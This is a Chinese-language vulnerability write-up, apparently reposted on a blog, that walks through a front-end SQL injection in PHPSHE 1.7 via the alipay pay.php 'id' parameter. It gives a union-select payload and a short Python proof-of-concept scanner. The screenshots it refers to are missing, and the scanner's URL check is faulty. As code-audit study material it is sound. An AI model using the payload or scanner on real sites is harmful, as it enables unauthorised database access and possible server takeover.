PHPSHE 1.7前台SQL注入漏洞分析


此CMS  SQL注入漏洞產生原因為未將經過 addslashes() 函數過濾的數據使用單引號包裹,從而導致的SQL注入漏洞。接下來看漏洞詳情:

首先查看phpshe下的common.php文件37~44行:

 

上述代碼可以看到,將獲取到的GET  POST 數據加上前綴'_g',然后再看pe_stripslashes函數:

可以看到$_GET不為空的情況下,將字符串經過 stripslashes 函數去除反斜線。

然后在查看一下防止SQL注入的函數pe_dbhold:

 

可以看到此過濾是將字符串經過addslashes()函數過濾,然后要注入的話則有2種情況:

  1、可控數據未經過單引號包裹 

  2、寬字節注入

然后查看此文件:include/plugin/payment/alipay/pay.php第34~35行:

此處可以看到,將可控數據進過pe_dbhold函數過濾后引入order_table函數:

 此函數是查看 $id 中有無 '_' 有的話取第一個元素,否則返回 'order',此處可以看到次函數返回值可控,然后跟進 pe_select 函數:

此函數中 $table 變量可控,並且帶入SQL語句之中並無單引號包裹,從而產生SQL注入。

由於order_table()函數返回值為 order_{$id_arr[0]},所以需要在數據庫中找到數據庫名包含 'order_' 的表,發現有且只有一個表:pe_order_pay

於是構造payload:pay`+where+1=1+union+select+1,2,user(),4,5,6,7,8,9,10,11,12#_

 

 

此處放上漏洞POC:

import requests

url = input("please input url:")
pro1 = "http://"
pro2 = "https://"
if pro1 or pro2 in url:
	pass
else:
	print("please input the correct URL")
headers = {
	"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0",
	"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
	"Accept-Language":"n-US,en;q=0.5"

}
payload = url + "/include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,1314520,4,5,6,7,8,9,10,11,12%23_"
response = requests.get(payload,headers)
creden = '1314520'
if creden in response.text:
	print("you can hack!!!")
	print("payload is : " + payload)
else:
	print("The website is secure")

該漏洞可用於初學代碼審計,具體利用則異常雞肋,由於過濾單引號,並且在payload中不能出現下划線,導致無法查出數據庫中的大部分數據,不過權限夠高的話,可以直接getshell。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM